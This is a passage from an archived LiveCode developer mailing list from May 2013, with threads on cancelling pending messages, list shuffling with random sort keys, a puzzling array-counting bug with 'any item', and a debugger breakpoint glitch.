prevent app from restarting correctly. 10880 ? Creating multiline native fields crashes iOS 6 simulator and devices. 10895 ? Use of deprecated iOS API prevents submission of apps to iTunes store. A great way to contribute to the stability of maintenance releases is to test these release candidates. The best way to do this is to make a copy of a production project and open it in this edition. Try out critical aspects of your app in the IDE and on devices (if applicable) and report back any issues to us via the quality control center (quality.runrev.com). Downloads are available at: http://downloads.livecode.com/livecode/6_0_2/ Thanks for your support. Warm regards, The LiveCode Team From mcgrath3 at mac.com Fri May 24 14:15:12 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Fri, 24 May 2013 14:15:12 -0400 Subject: AnimationEngine pending messages In-Reply-To: <0F12B5B6-D70C-4425-AE7E-54039181ED95@tactilemedia.com> References: <69332B9F-7562-496D-9A82-35F40351D0A8@tactilemedia.com> <0F12B5B6-D70C-4425-AE7E-54039181ED95@tactilemedia.com> Message-ID: <8F2A12C6-1BED-4E6B-8358-F0CD87074D53@mac.com> Actually, I did see the note in the dictionary and tried that. But I think since I was using AE to generate effects using image 1 that each card was somehow newly stacking commands for image 1 of each card. When I changed it to the name of image 1 then they no longer stacked for each card. Weird. So in the end I avoided having to cancel the pending messages. Still don't know exactly what was happening and how but I'm good now. Thanks -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 24, 2013, at 1:27 PM, Scott Rossi wrote: > Just because it's in the dictionary doesn't mean I've seen it :-) > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX Design > > On May 24, 2013, at 10:10 AM, John Dixon wrote: > >> Scott... >> >> like >> >> on cancelThisMsg tMsg >> put the pendingmessages into tPendingMsgs >> IF tMsg is in tPendingMsgs then >> repeat for each line x in tPendingMsgs >> if tMsg is in x then cancel item 1 of x >> end repeat >> end if >> end cancelThisMsg >> >> from the notes in the dictionary..:-) >> >>> Subject: Re: AnimationEngine pending messages >>> From: scott at tactilemedia.com >>> Date: Fri, 24 May 2013 10:05:49 -0700 >>> To: use-livecode at lists.runrev.com >>> >>> May not make a difference, but have you already tried: >>> >>> repeat for each line x in the pendingMessages >>> >>> I'm asking only because I haven't seen message canceling done by putting the messages in a variable first. >>> >>> Regards, >>> >>> Scott Rossi >>> Creative Director >>> Tactile Media, UX Design >>> >>> On May 24, 2013, at 8:34 AM, Thomas McGrath III wrote: >>> >>>> I am having trouble canceling the pending messages that are built up with use of AE in my mobile app. I have a series of AE commands on card open but want to stop them all when moving to a new card. Even in the IDE with the pending messages/message box open I can only delete one line of the pending messages and then a new message keeps coming after a bit. Is there a way to absolutely stop ALL of them that I am missing? >>>> >>>> I am trying this in my openCard handler but they still seem to stack up. >>>> put the pendingmessages into tPendingMsgs >>>> repeat for each line x in tPendingMsgs >>>> cancel item 1 of x >>>> end repeat >>>> >>>> Thanks >>>> >>>> Tom >>>> >>>> -- Tom McGrath III >>>> http://lazyriver.on-rev.com >>>> mcgrath3 at mac.com >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Fri May 24 14:38:30 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 24 May 2013 21:38:30 +0300 Subject: How to get an off-line licence for LC OSS Message-ID: <519FB3A6.9000700@gmail.com> Install LC OSS (whatever version) on your Operating System of choice, and register it online with your code. Close LiveCode and look here: Windows XP: C:/Documents and Settings/*username*/Application Data/RunRev/Licenses Windows Vista- C:/Documents and Settings/Administrator/Application Data/RunRev/Licenses Windows 7 - C:\Documents and Settings\*username*\AppData\Roaming\RunRev\Licenses Windows 8 - C:/Users/*username*/AppData/Roaming/RunRev Mac- Library/Application Support/Runrev/Licenses Linux- ~/.runrev/licenses and you should see the licence file (or several). Copy the thing and use it on any machines that are not internet connected. Richmond. From pete at lcsql.com Fri May 24 16:21:37 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 24 May 2013 13:21:37 -0700 Subject: Image ID conventions In-Reply-To: References: Message-ID: Thanks Monte. I was looking in the id entry in the dictionary instead of the icon entry. The order of search seems a little strange but it all seems to work! Pete lcSQL Software On Mon, May 20, 2013 at 9:45 PM, Monte Goulding wrote: > > On 21/05/2013, at 7:16 AM, Peter Haworth wrote: > > > Am I correct in assuming that the IDE will always attempt to resolve an > > image id within my stack before looking in any other stacks that are > loaded? > > If you look at the icon docs it explains it. It checks behaviors first > then checks the stack. But there is a documented order. If this is for an > IDE plugin the command I added to resolve images may help you in 6.0.1+ > > _internal resolve image id 1003 relative to > put it > > Cheers > > -- > Monte Goulding > > M E R Goulding - software development services > mergExt - There's an external for that! > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bornstein at designeq.com Fri May 24 16:34:40 2013 From: bornstein at designeq.com (Howard Bornstein) Date: Fri, 24 May 2013 13:34:40 -0700 Subject: Reading the battery charge of an IOS device Message-ID: Does anyone know of a way to read the percentage of charge in the battery of an IOS device? TIA -- Regards, Howard Bornstein ----------------------- www.designeq.com From gcanyon at gmail.com Fri May 24 17:14:31 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Fri, 24 May 2013 16:14:31 -0500 Subject: randomly order a list In-Reply-To: <08A24B77-8594-41D8-92BD-14CAC003D96B@swcp.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <519E7F6D.3040507@tweedly.net> <08A24B77-8594-41D8-92BD-14CAC003D96B@swcp.com> Message-ID: Dar -- I hardly think you need my blessing, but I agree with your definition of p(k). I ran some numbers through Wolfram Alpha, and it looks like even for 100 item lists the probability of the first item being sorted to the first spot is about 0.015, or 1.5 times what it should be if sorted by random(the number of items). Of course, that's not the overall probability that the list is mal-sorted. That probability is much higher, and I'm not sure how to calculate it (hanging my head in shame), but roughly: Say you have a set of 100 items where each gets a unique random number to sort by except for the first two, which both get 1. They *should* be able to come out either A,B or B,A, but they can only come out A,B. Note that this does not depend on what common number they get -- even if they both got 100, then although both of them would be moved to a different spot in the output, there should be two possible outcomes, but there is only one. Hence the probability under this circumstance of having an improper shuffle is 0.5. Likewise, if three items had the same random number, there would be only one possible outcome when there should be 3*2*1 = 6 possible outcomes, so there is a 5/6 or roughly 0.83 probability of a bad shuffle. This goes up, obviously, as the number of dupes increases. Further, there can be more than one duplicated number. If two items have 99, and three others have 23, then the probability of an improper shuffle is 1 - 1/2 * 1/6 = 1 - 1/12 = about 0.92. My failure comes in aggregating all the various possible sets of duplicates. Of course, the goal is achieving success, not calculating failure. I did the math (okay, Wolfram Alpha did the math) and using: sort lines of myList by random(999999999) & random(999999999) For a list 1 million lines long has a probability less than 1 in a million of having even a *slightly* non-random order (within the bounds of the random number generator). That seems good enough for me. For shorter lists the concatenation would be unnecessary. I commented on the feature request. I think this would be an excellent application of the new language features once they are available. gc From dunbarx at aol.com Fri May 24 17:56:49 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 24 May 2013 17:56:49 -0400 (EDT) Subject: Counting problem In-Reply-To: References: Message-ID: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> I know I am going to feel like a dope, but why does the first script always properly give ten counts in the array variable "counter", but the second can give anywhere from five to sixteen, and maybe others? on mouseUp put "a,b,c,d,e,f,g,h,i,j" into temp repeat 10 get any item of temp --always gives ten add 1 to counter[it] end repeat end mouseUp on mouseup put "a,b,c,d,e,f,g,h,i,j" into temp repeat 10 add 1 to counter[any item of temp] end repeat end mouseUp I have deconstructed the problem line by watching the array in the debugger on the sly after each iteration. It goes crazy, sometimes the count of a particular char going DOWN. Craig Newman -----Original Message----- From: Terry Dennis To: use-livecode Sent: Fri, May 24, 2013 12:35 am Subject: Weird glitch in breakpoint behavior I was testing a 6.0.1 stack when "Step into next statement" after a manual breakpoint acted like a 'Continue" ... meaning it didn't stop until the end of the script. I was able to recreate the problem repeatedly, so I began to whittle down my script to find what caused the glitch. In so doing, I checked various preference settings to see what might have caused the weird glitch. I kept whittling away until there wasn't much left in my script, so I finally decided to start from scratch with an entirely new app. It happened again with a do-nothing script. Recipe: 1) Put the following simple script into a button's mouseUp script in a new app. 2) Set breakpoints manually on lines 2 and 4. 3) Click the button. It stops on line 2, as expected. 4) Click on Edit/Preferences in the LiveCode menu 5) The app runs to the hardcoded breakpoint on line 6 First of all, it shouldn't have run when I merely opened the preferences dialog. Secondly, it missed the manual breakpoint on line 4 OK, so like a good little developer, I tried the same script in a backleveled version (5.5.1) to see if recent LiveCode updates created the problem. That's the most likely scenario, right? Nope. I got the same results. Apparently this weird glitch has been around since today's pebbles were large boulders. Lots of testing later ... There were *some* instances of opening the preferences dialog that didn't cause the problem. And, selecting individual preference items didn't cause the problem. However, EVERY time I selected the "Updates" preference item, the script "Continue"d. Yeah, I know. The doctors says if it hurts, then don't do that. OK, so I won't open the Preferences dialog and test for "Updates" during debugging sessions. However ... This weird glitch *might* be related in some bizarre manner to prior (seemingly) random and unrecreatable weird glitches I have had with breakpoint executions. The good news (I think) is this time I was able to recreate and isolate the weird glitch. Well, I isolated *a* weird glitch. Whether it is related to my *original* weird glitch, I don't know. The original weird glitch with my app would sometimes (randomly?) get triggered by simply clicking on the "up arrow" in the Variables display of the IDE. Is a keystroke being passed through the hierarchy into the app when it shouldn't be? Unknown. The (random?) up arrow weird glitch happened only in 6.0.1, so it's possible that particular weird glitch occurred because of recent updates to LiveCode. In addition to the above weirdness, the same preferences weird glitch is recreatable in 6.0.1 by clicking on Tools/Project Browser. Am I more likely to open the Project Browser during debugging than I am likely to open the Preferences dialog? Ubetcha. Again, is this preferences/browser dialog weird glitch related to my original weird glitch? Heck if I know. It's just plain weird. Hopefully this exercise will help others who have experienced (seemingly) random weird glitches with breakpoints in the past. It's possible all those weird glitches could have a common thread, so fixing this *recreatable* weird glitch could solve all those other weird glitches at the same time. I suppose I could be the ONLY poor soul who has experienced weird glitches with breakpoints, but I doubt it. Did I mention it was a weird glitch? Simple Script: on mouseUp put empty into tGarbage1 -- once put empty into tGarbage2 -- twice put empty into tGarbage3 -- three times put empty into tGarbage4 -- a lady breakpoint end mouseUp TED _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From coiin at verizon.net Fri May 24 18:14:08 2013 From: coiin at verizon.net (Colin Holgate) Date: Fri, 24 May 2013 18:14:08 -0400 Subject: Counting problem In-Reply-To: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> Message-ID: Both scripts give me the same randomness. Are you checking the results like this?: put the number of elements in counter From bonnmike at gmail.com Fri May 24 18:15:03 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 24 May 2013 16:15:03 -0600 Subject: Counting problem In-Reply-To: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> Message-ID: Welcome to bizarro land where adding 1... doesn't. From pete at lcsql.com Fri May 24 18:16:34 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 24 May 2013 15:16:34 -0700 Subject: Counting problem In-Reply-To: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> Message-ID: On Fri, May 24, 2013 at 2:56 PM, wrote: > I know I am going to feel like a dope, but why does the first script > always properly give ten counts in the array variable "counter", but the > second can give anywhere from five to sixteen, and maybe others? > > > > on mouseUp > put "a,b,c,d,e,f,g,h,i,j" into temp > repeat 10 > get any item of temp --always gives ten > add 1 to counter[it] > end repeat > end mouseUp > > > on mouseup > put "a,b,c,d,e,f,g,h,i,j" into temp > repeat 10 > add 1 to counter[any item of temp] > end repeat > end mouseUp > > > > > I have deconstructed the problem line by watching the array in the > debugger on the sly after each iteration. It goes crazy, sometimes the > count of a particular char going DOWN. > This isn't going to help, but the second script works just fine for me, the total of the array key values always adds up to 10 as it does with the first script. LC 5.5.4 on OSX 10.7.4. Pete lcSQL Software From pete at lcsql.com Fri May 24 18:19:36 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 24 May 2013 15:19:36 -0700 Subject: Counting problem In-Reply-To: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> Message-ID: On Fri, May 24, 2013 at 2:56 PM, wrote: > get any item of temp I almost hate to mention this, but would the "any" keyword have any use in the recent thread about sorting by random numbers? Pete lcSQL Software From bonnmike at gmail.com Fri May 24 18:20:34 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 24 May 2013 16:20:34 -0600 Subject: Counting problem In-Reply-To: References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> Message-ID: Does NOT work for me, tried 5.5.1 to 6.0.1 (community) and it just does random freakishness. On osx ML. On Fri, May 24, 2013 at 4:16 PM, Peter Haworth wrote: > On Fri, May 24, 2013 at 2:56 PM, wrote: > > > I know I am going to feel like a dope, but why does the first script > > always properly give ten counts in the array variable "counter", but the > > second can give anywhere from five to sixteen, and maybe others? > > > > > > > > on mouseUp > > put "a,b,c,d,e,f,g,h,i,j" into temp > > repeat 10 > > get any item of temp --always gives ten > > add 1 to counter[it] > > end repeat > > end mouseUp > > > > > > on mouseup > > put "a,b,c,d,e,f,g,h,i,j" into temp > > repeat 10 > > add 1 to counter[any item of temp] > > end repeat > > end mouseUp > > > > > > > > > > I have deconstructed the problem line by watching the array in the > > debugger on the sly after each iteration. It goes crazy, sometimes the > > count of a particular char going DOWN. > > > > This isn't going to help, but the second script works just fine for me, the > total of the array key values always adds up to 10 as it does with the > first script. > > LC 5.5.4 on OSX 10.7.4. > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bonnmike at gmail.com Fri May 24 18:25:13 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 24 May 2013 16:25:13 -0600 Subject: Counting problem In-Reply-To: References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> Message-ID: Just tested by changing the line to.. add 1 to tcounter[( item random( the number of items in temp) of temp)] same result, very weird. On Fri, May 24, 2013 at 4:19 PM, Peter Haworth wrote: > On Fri, May 24, 2013 at 2:56 PM, wrote: > > > get any item of temp > > > I almost hate to mention this, but would the "any" keyword have any use in > the recent thread about sorting by random numbers? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From alex at tweedly.net Fri May 24 19:10:27 2013 From: alex at tweedly.net (Alex Tweedly) Date: Sat, 25 May 2013 00:10:27 +0100 Subject: Counting problem In-Reply-To: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> Message-ID: <519FF363.7070103@tweedly.net> I see the same problem on both 5.5.3 and 6.0.1 - but testing in the message box. Oddly, I happened to notice that if I change the script to be put "a,b,c,d,e,f,g,h,i,j" into temp repeat 10 add 1 to counter[any item of temp] put counter["b"] into tJunk -- i.e. I add a single useless line !! end repeat it works just fine every time. Don't know if that helps you or makes it worse :-) -- Alex. On 24/05/2013 22:56, dunbarx at aol.com wrote: > I know I am going to feel like a dope, but why does the first script always properly give ten counts in the array variable "counter", but the second can give anywhere from five to sixteen, and maybe others? > > > > on mouseUp > put "a,b,c,d,e,f,g,h,i,j" into temp > repeat 10 > get any item of temp --always gives ten > add 1 to counter[it] > end repeat > end mouseUp > > > on mouseup > put "a,b,c,d,e,f,g,h,i,j" into temp > repeat 10 > add 1 to counter[any item of temp] > end repeat > end mouseUp > > > > > I have deconstructed the problem line by watching the array in the debugger on the sly after each iteration. It goes crazy, sometimes the count of a particular char going DOWN. > > > Craig Newman > > > > -----Original Message----- > From: Terry Dennis > To: use-livecode > Sent: Fri, May 24, 2013 12:35 am > Subject: Weird glitch in breakpoint behavior > > > I was testing a 6.0.1 stack when "Step into next statement" after a manual > breakpoint acted like a 'Continue" ... meaning it didn't stop until the end of > the script. I was able to recreate the problem repeatedly, so I began to > whittle down my script to find what caused the glitch. In so doing, I checked > various preference settings to see what might have caused the weird glitch. > > I kept whittling away until there wasn't much left in my script, so I finally > decided to start from scratch with an entirely new app. It happened again with > a do-nothing script. > > Recipe: > 1) Put the following simple script into a button's mouseUp script in a new app. > 2) Set breakpoints manually on lines 2 and 4. > 3) Click the button. It stops on line 2, as expected. > 4) Click on Edit/Preferences in the LiveCode menu > 5) The app runs to the hardcoded breakpoint on line 6 > > First of all, it shouldn't have run when I merely opened the preferences dialog. > Secondly, it missed the manual breakpoint on line 4 > > OK, so like a good little developer, I tried the same script in a backleveled > version (5.5.1) to see if recent LiveCode updates created the problem. That's > the most likely scenario, right? > > Nope. I got the same results. Apparently this weird glitch has been around > since today's pebbles were large boulders. > > Lots of testing later ... > > There were *some* instances of opening the preferences dialog that didn't cause > the problem. And, selecting individual preference items didn't cause the > problem. > > However, EVERY time I selected the "Updates" preference item, the script > "Continue"d. > > Yeah, I know. The doctors says if it hurts, then don't do that. OK, so I won't > open the Preferences dialog and test for "Updates" during debugging sessions. > > However ... > > This weird glitch *might* be related in some bizarre manner to prior (seemingly) > random and unrecreatable weird glitches I have had with breakpoint executions. > The good news (I think) is this time I was able to recreate and isolate the > weird glitch. > > Well, I isolated *a* weird glitch. Whether it is related to my *original* weird > glitch, I don't know. > > The original weird glitch with my app would sometimes (randomly?) get triggered > by simply clicking on the "up arrow" in the Variables display of the IDE. Is a > keystroke being passed through the hierarchy into the app when it shouldn't be? > Unknown. The (random?) up arrow weird glitch happened only in 6.0.1, so it's > possible that particular weird glitch occurred because of recent updates to > LiveCode. > > In addition to the above weirdness, the same preferences weird glitch is > recreatable in 6.0.1 by clicking on Tools/Project Browser. Am I more likely to > open the Project Browser during debugging than I am likely to open the > Preferences dialog? Ubetcha. > > Again, is this preferences/browser dialog weird glitch related to my original > weird glitch? Heck if I know. It's just plain weird. > > Hopefully this exercise will help others who have experienced (seemingly) random > weird glitches with breakpoints in the past. It's possible all those weird > glitches could have a common thread, so fixing this *recreatable* weird glitch > could solve all those other weird glitches at the same time. > > I suppose I could be the ONLY poor soul who has experienced weird glitches with > breakpoints, but I doubt it. > > Did I mention it was a weird glitch? > > Simple Script: > on mouseUp > put empty into tGarbage1 -- once > put empty into tGarbage2 -- twice > put empty into tGarbage3 -- three times > put empty into tGarbage4 -- a lady > breakpoint > end mouseUp > > TED > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From capellan2000 at gmail.com Fri May 24 22:21:30 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 24 May 2013 19:21:30 -0700 (PDT) Subject: 1001 things to do with LiveCode In-Reply-To: <419B9416-8E32-49F5-AA4E-FA33886DDC5C@gmail.com> References: <3118B4E7-6905-4945-8FA1-01E7692D42A3@gmail.com> <419B9416-8E32-49F5-AA4E-FA33886DDC5C@gmail.com> Message-ID: <1369448490224-4665420.post@n4.nabble.com> Hi Peter, Peter W A Wood wrote > If anybody else reading this message has any interesting that > they've developed in LiveCode, I'd really appreciate being able > to include it in 1001 things to do with LiveCode. Did you published the guidelines about the exact information that you require to include reviews of stacks or applications in the site 1001 things to do with LiveCode? A pdf download would be fine. :) Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/1001-things-to-do-with-LiveCode-tp4662960p4665420.html Sent from the Revolution - User mailing list archive at Nabble.com. From dunbarx at aol.com Fri May 24 22:23:24 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 24 May 2013 22:23:24 -0400 (EDT) Subject: Counting problem In-Reply-To: References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> Message-ID: <8D02705F76079C9-1084-15196@webmail-d145.sysops.aol.com> Hey Colin. It wasn't the randomness I was banging my head against, it was that the count of whatever chars came up did not add up to 10. So one would expect something like: a,1 c,2 d,1 e,1 g,3 h,1 j,1 The "count" adds up to 10. Don't care about the keys. I get, however, something like: a,2 c,3 d,1 f,1 h,1 e,2 j,2 Still don't care about the keys. Count is 12. I have seen from 5 up to 16. Craig -----Original Message----- From: Colin Holgate To: How to use LiveCode Sent: Fri, May 24, 2013 6:15 pm Subject: Re: Counting problem Both scripts give me the same randomness. Are you checking the results like this?: put the number of elements in counter _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Fri May 24 22:26:32 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 24 May 2013 22:26:32 -0400 (EDT) Subject: Counting problem In-Reply-To: <519FF363.7070103@tweedly.net> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> Message-ID: <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> Alex. I am the kind of guy that is happy to solve a problem without understanding it. But this one is, er, bugging me. Craig -----Original Message----- From: Alex Tweedly To: use-livecode Sent: Fri, May 24, 2013 7:11 pm Subject: Re: Counting problem I see the same problem on both 5.5.3 and 6.0.1 - but testing in the message box. Oddly, I happened to notice that if I change the script to be put "a,b,c,d,e,f,g,h,i,j" into temp repeat 10 add 1 to counter[any item of temp] put counter["b"] into tJunk -- i.e. I add a single useless line !! end repeat it works just fine every time. Don't know if that helps you or makes it worse :-) -- Alex. On 24/05/2013 22:56, dunbarx at aol.com wrote: > I know I am going to feel like a dope, but why does the first script always properly give ten counts in the array variable "counter", but the second can give anywhere from five to sixteen, and maybe others? > > > > on mouseUp > put "a,b,c,d,e,f,g,h,i,j" into temp > repeat 10 > get any item of temp --always gives ten > add 1 to counter[it] > end repeat > end mouseUp > > > on mouseup > put "a,b,c,d,e,f,g,h,i,j" into temp > repeat 10 > add 1 to counter[any item of temp] > end repeat > end mouseUp > > > > > I have deconstructed the problem line by watching the array in the debugger on the sly after each iteration. It goes crazy, sometimes the count of a particular char going DOWN. > > > Craig Newman > > > > -----Original Message----- > From: Terry Dennis > To: use-livecode > Sent: Fri, May 24, 2013 12:35 am > Subject: Weird glitch in breakpoint behavior > > > I was testing a 6.0.1 stack when "Step into next statement" after a manual > breakpoint acted like a 'Continue" ... meaning it didn't stop until the end of > the script. I was able to recreate the problem repeatedly, so I began to > whittle down my script to find what caused the glitch. In so doing, I checked > various preference settings to see what might have caused the weird glitch. > > I kept whittling away until there wasn't much left in my script, so I finally > decided to start from scratch with an entirely new app. It happened again with > a do-nothing script. > > Recipe: > 1) Put the following simple script into a button's mouseUp script in a new app. > 2) Set breakpoints manually on lines 2 and 4. > 3) Click the button. It stops on line 2, as expected. > 4) Click on Edit/Preferences in the LiveCode menu > 5) The app runs to the hardcoded breakpoint on line 6 > > First of all, it shouldn't have run when I merely opened the preferences dialog. > Secondly, it missed the manual breakpoint on line 4 > > OK, so like a good little developer, I tried the same script in a backleveled > version (5.5.1) to see if recent LiveCode updates created the problem. That's > the most likely scenario, right? > > Nope. I got the same results. Apparently this weird glitch has been around > since today's pebbles were large boulders. > > Lots of testing later ... > > There were *some* instances of opening the preferences dialog that didn't cause > the problem. And, selecting individual preference items didn't cause the > problem. > > However, EVERY time I selected the "Updates" preference item, the script > "Continue"d. > > Yeah, I know. The doctors says if it hurts, then don't do that. OK, so I won't > open the Preferences dialog and test for "Updates" during debugging sessions. > > However ... > > This weird glitch *might* be related in some bizarre manner to prior (seemingly) > random and unrecreatable weird glitches I have had with breakpoint executions. > The good news (I think) is this time I was able to recreate and isolate the > weird glitch. > > Well, I isolated *a* weird glitch. Whether it is related to my *original* weird > glitch, I don't know. > > The original weird glitch with my app would sometimes (randomly?) get triggered > by simply clicking on the "up arrow" in the Variables display of the IDE. Is a > keystroke being passed through the hierarchy into the app when it shouldn't be? > Unknown. The (random?) up arrow weird glitch happened only in 6.0.1, so it's > possible that particular weird glitch occurred because of recent updates to > LiveCode. > > In addition to the above weirdness, the same preferences weird glitch is > recreatable in 6.0.1 by clicking on Tools/Project Browser. Am I more likely to > open the Project Browser during debugging than I am likely to open the > Preferences dialog? Ubetcha. > > Again, is this preferences/browser dialog weird glitch related to my original > weird glitch? Heck if I know. It's just plain weird. > > Hopefully this exercise will help others who have experienced (seemingly) random > weird glitches with breakpoints in the past. It's possible all those weird > glitches could have a common thread, so fixing this *recreatable* weird glitch > could solve all those other weird glitches at the same time. > > I suppose I could be the ONLY poor soul who has experienced weird glitches with > breakpoints, but I doubt it. > > Did I mention it was a weird glitch? > > Simple Script: > on mouseUp > put empty into tGarbage1 -- once > put empty into tGarbage2 -- twice > put empty into tGarbage3 -- three times > put empty into tGarbage4 -- a lady > breakpoint > end mouseUp > > TED > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From jacques.hausser at unil.ch Sat May 25 04:44:18 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Sat, 25 May 2013 10:44:18 +0200 Subject: Counting problem In-Reply-To: <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> Message-ID: <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> Craig, A way to have the second script working correctly (sum on the counter array = 10) is to declare and fill the counter explicitly before using it; my version: on mouseup put "a,b,c,d,e,f,g,h,i,j" into temp repeat with i = 1 to 10 put 0 into tcount[item i of temp] end repeat repeat 10 add 1 to tcount[any item of temp] end repeat put "" into fld "F1" put 0 into tSum repeat with i = 1 to 10 put item i of temp & " : " & tcount[item i of temp] & return after fld "F1" add tcount[item i of temp] to tSum end repeat put return & "Sum = " & tSum after fld "F1" end mouseUp the sum is always 10 - if you want to go back to craziness, just comment out the first loop. Sums between 6 and 17 in my trials. I also noticed that the automatic indent doesn't work correctly for the "repeat 10" loop - perhaps an indication that the interpreter doesn't understand exactly what we mean? For Alex: I didn't observe the correcting effect of adding "put counter["b"] into tJunk" to the loop (OS 10.8.3, either with 6.0.1 or 5.5.4). The result was as bad as without the command. A very intriguing bug anyway ! I filled a bug report, # 10925 (giving credit to Craig for his amazing discovery) Jacques Le 25 mai 2013 ? 04:26, dunbarx at aol.com a ?crit : > Alex. > > > I am the kind of guy that is happy to solve a problem without understanding it. But this one is, er, bugging me. > > > Craig > > > > -----Original Message----- > From: Alex Tweedly > To: use-livecode > Sent: Fri, May 24, 2013 7:11 pm > Subject: Re: Counting problem > > > I see the same problem on both 5.5.3 and 6.0.1 - but testing in the > message box. > > Oddly, I happened to notice that if I change the script to be > > put "a,b,c,d,e,f,g,h,i,j" into temp > repeat 10 > add 1 to counter[any item of temp] > put counter["b"] into tJunk -- i.e. I add a single useless line > !! > end repeat > > > > it works just fine every time. > Don't know if that helps you or makes it worse :-) > > -- Alex. > > On 24/05/2013 22:56, dunbarx at aol.com wrote: >> I know I am going to feel like a dope, but why does the first script always >> properly give ten counts in the array variable "counter", but the second can >> give anywhere from five to sixteen, and maybe others? >> >> >> >> on mouseUp >> put "a,b,c,d,e,f,g,h,i,j" into temp >> repeat 10 >> get any item of temp --always gives ten >> add 1 to counter[it] >> end repeat >> end mouseUp >> >> >> on mouseup >> put "a,b,c,d,e,f,g,h,i,j" into temp >> repeat 10 >> add 1 to counter[any item of temp] >> end repeat >> end mouseUp >> >> >> >> >> I have deconstructed the problem line by watching the array in the debugger on >> the sly after each iteration. It goes crazy, sometimes the count of a particular >> char going DOWN. >> >> >> Craig Newman From dsc at swcp.com Sat May 25 11:16:00 2013 From: dsc at swcp.com (Dar Scott) Date: Sat, 25 May 2013 09:16:00 -0600 Subject: Counting 